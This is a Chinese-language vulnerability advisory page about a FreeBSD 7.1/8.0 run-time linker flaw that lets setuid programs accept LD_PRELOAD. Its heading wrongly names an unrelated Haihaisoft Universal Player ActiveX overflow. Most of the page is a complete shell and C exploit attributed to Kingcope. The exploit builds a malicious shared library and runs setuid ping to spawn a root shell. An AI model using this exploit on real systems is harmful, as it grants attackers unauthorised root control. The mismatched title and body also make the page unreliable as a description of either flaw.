Haihaisoft Universal Player ‘URL’属性ActiveX控件缓冲区溢出漏洞

漏洞起因
设计错误
 
影响系统
FreeBSD 8.0-RELEASE
FreeBSD 7.1-RELEASE
 
不受影响系统
 
危害
本地攻击者可以利用漏洞提升特权。
 
攻击所需条件
攻击者必须访问FreeBSD。
 
漏洞信息
FreeBSD是一款开放源代码的基于BSD的操作系统。
FreeBSD包含的Run-Time Link-Editor (rtld)存在问题,本地攻击者可以利用漏洞获得root特权。
一般情况下,在执行类似"ping"或"su" setugid的程序时,RTLD不允许设置类似LD_PRELOAD这类的危险环境变量,不过存在漏洞可让rtld被诱使在setugid程序上接收LD变量,导致特权提升。
 
测试方法
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
        extern char **environ;
        environ = (char**)malloc(8096);
        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
 
厂商解决方案
目前没有解决方案提供:
http://www.freebsd.org
 
漏洞提供者
Kingcope (kcope2googlemail.com)

发表评论?

0 条评论。

发表评论